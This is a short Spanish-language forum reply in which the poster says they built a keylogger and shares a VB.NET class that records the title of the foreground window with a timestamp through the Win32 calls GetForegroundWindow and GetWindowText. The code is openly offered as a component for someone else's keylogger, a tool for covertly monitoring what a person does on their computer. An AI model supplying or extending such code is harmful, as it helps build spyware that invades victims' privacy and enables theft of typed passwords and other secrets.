Hola, mirá. Yo también hice un keylogger con todos los "chiches" y me funciona de lo más bien. Aquí te dejo una clase que hice para capturar el nombre de la ventana activa.
Espero que te sirva:
Public Class VentanaActiva
#Region " Declaraciones del API de Win32 "
'
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetWindowText( _
ByVal hWnd As System.IntPtr, _
ByVal lpString As System.Text.StringBuilder, _
ByVal cch As Integer) As Integer
End Function
'
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetActiveWindow() As System.IntPtr
End Function
'
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetForegroundWindow() As System.IntPtr
End Function
'
#End Region
Dim vRetorno As String
Public Function CapturaVentana()
' r
Dim titulo As New System.Text.StringBuilder(New String(" "c, 256))
Dim ret As Integer
Dim nombreVentana As String
Dim hWnd As IntPtr = GetForegroundWindow()
'
'If hWnd.Equals(IntPtr.Zero) Then Return
'
ret = GetWindowText(hWnd, titulo, titulo.Length)
'If ret = 0 Then Return
'
nombreVentana = titulo.ToString.Substring(0, ret)
If nombreVentana <> Nothing AndAlso nombreVentana.Length > 0 Then
vRetorno = nombreVentana + "[" + DateTime.Now.ToString("HH:mm:ss") + "] "
End If
Return vRetorno
End Function
End Class
Saludos.